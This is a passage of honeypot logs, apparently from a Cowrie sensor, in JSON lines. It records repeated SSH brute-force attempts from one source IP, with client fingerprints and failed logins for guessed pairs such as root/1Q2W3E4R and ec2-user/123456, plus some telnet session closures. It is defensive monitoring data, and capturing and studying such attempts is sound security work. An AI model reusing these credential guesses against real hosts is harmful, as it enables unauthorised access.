{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:16.213615Z","src_ip":"192.109.200.237","session":"960626c9f30a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:17.299623Z","src_ip":"192.109.200.237","session":"960626c9f30a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38010,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4dd73ac9aae","protocol":"ssh","message":"New connection: 192.109.200.237:38010 (159.203.135.109:22) [session: b4dd73ac9aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:19.382508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:19.386911Z","src_ip":"192.109.200.237","session":"b4dd73ac9aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:19.468304Z","src_ip":"192.109.200.237","session":"b4dd73ac9aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:19.713715Z","src_ip":"192.109.200.237","session":"b4dd73ac9aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:20.870750Z","src_ip":"192.109.200.237","session":"b4dd73ac9aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34562,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e421be89931","protocol":"ssh","message":"New connection: 192.109.200.237:34562 (159.203.135.109:22) [session: 8e421be89931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:22.816965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:22.821596Z","src_ip":"192.109.200.237","session":"8e421be89931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:22.903800Z","src_ip":"192.109.200.237","session":"8e421be89931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:23.307585Z","src_ip":"192.109.200.237","session":"8e421be89931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:24.392533Z","src_ip":"192.109.200.237","session":"8e421be89931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.35015153884888,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:25.273100Z","src_ip":"50.6.8.71","session":"e6048066be68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34572,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7ad4345f000","protocol":"ssh","message":"New connection: 192.109.200.237:34572 (159.203.135.109:22) [session: c7ad4345f000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:26.727414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:26.733164Z","src_ip":"192.109.200.237","session":"c7ad4345f000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:26.815897Z","src_ip":"192.109.200.237","session":"c7ad4345f000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:27.062298Z","src_ip":"192.109.200.237","session":"c7ad4345f000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.488487243652344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:27.161793Z","src_ip":"50.6.8.71","session":"6a52f13d3a91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.205445528030396,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:27.834547Z","src_ip":"23.94.28.189","session":"5adf81cc1e9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:28.147310Z","src_ip":"192.109.200.237","session":"c7ad4345f000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.18308711051941,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:28.807800Z","src_ip":"50.6.8.71","session":"0e6cf5b8b19e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77446961402893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:28.932236Z","src_ip":"50.6.8.71","session":"747f2a2b20fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47734,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b828d4a33ab","protocol":"ssh","message":"New connection: 192.109.200.237:47734 (159.203.135.109:22) [session: 0b828d4a33ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:30.302116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:30.307709Z","src_ip":"192.109.200.237","session":"0b828d4a33ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:30.390989Z","src_ip":"192.109.200.237","session":"0b828d4a33ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.88476014137268,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:30.447795Z","src_ip":"50.6.8.71","session":"79a9caa4c9b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:30.641212Z","src_ip":"192.109.200.237","session":"0b828d4a33ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:31.727561Z","src_ip":"192.109.200.237","session":"0b828d4a33ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47744,"dst_ip":"159.203.135.109","dst_port":22,"session":"c92f9ab6fc17","protocol":"ssh","message":"New connection: 192.109.200.237:47744 (159.203.135.109:22) [session: c92f9ab6fc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:33.769574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:33.884413Z","src_ip":"192.109.200.237","session":"c92f9ab6fc17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:33.892386Z","src_ip":"192.109.200.237","session":"c92f9ab6fc17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:34.241650Z","src_ip":"192.109.200.237","session":"c92f9ab6fc17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:35.326033Z","src_ip":"192.109.200.237","session":"c92f9ab6fc17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47746,"dst_ip":"159.203.135.109","dst_port":22,"session":"86d5afd5c3b4","protocol":"ssh","message":"New connection: 192.109.200.237:47746 (159.203.135.109:22) [session: 86d5afd5c3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:37.485858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:37.490240Z","src_ip":"192.109.200.237","session":"86d5afd5c3b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:37.571685Z","src_ip":"192.109.200.237","session":"86d5afd5c3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:37.817139Z","src_ip":"192.109.200.237","session":"86d5afd5c3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:38.901767Z","src_ip":"192.109.200.237","session":"86d5afd5c3b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50476,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5ce554cba0c","protocol":"telnet","message":"New connection: 50.6.8.71:50476 (10.17.0.5:23) [session: b5ce554cba0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:40.759889Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49686,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0c14deb3f4d","protocol":"ssh","message":"New connection: 192.109.200.237:49686 (159.203.135.109:22) [session: d0c14deb3f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:40.969616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:40.976596Z","src_ip":"192.109.200.237","session":"d0c14deb3f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:41.058007Z","src_ip":"192.109.200.237","session":"d0c14deb3f4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:41.303674Z","src_ip":"192.109.200.237","session":"d0c14deb3f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:42.389052Z","src_ip":"192.109.200.237","session":"d0c14deb3f4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49692,"dst_ip":"159.203.135.109","dst_port":22,"session":"40236306325b","protocol":"ssh","message":"New connection: 192.109.200.237:49692 (159.203.135.109:22) [session: 40236306325b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:44.387696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:44.496195Z","src_ip":"192.109.200.237","session":"40236306325b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@op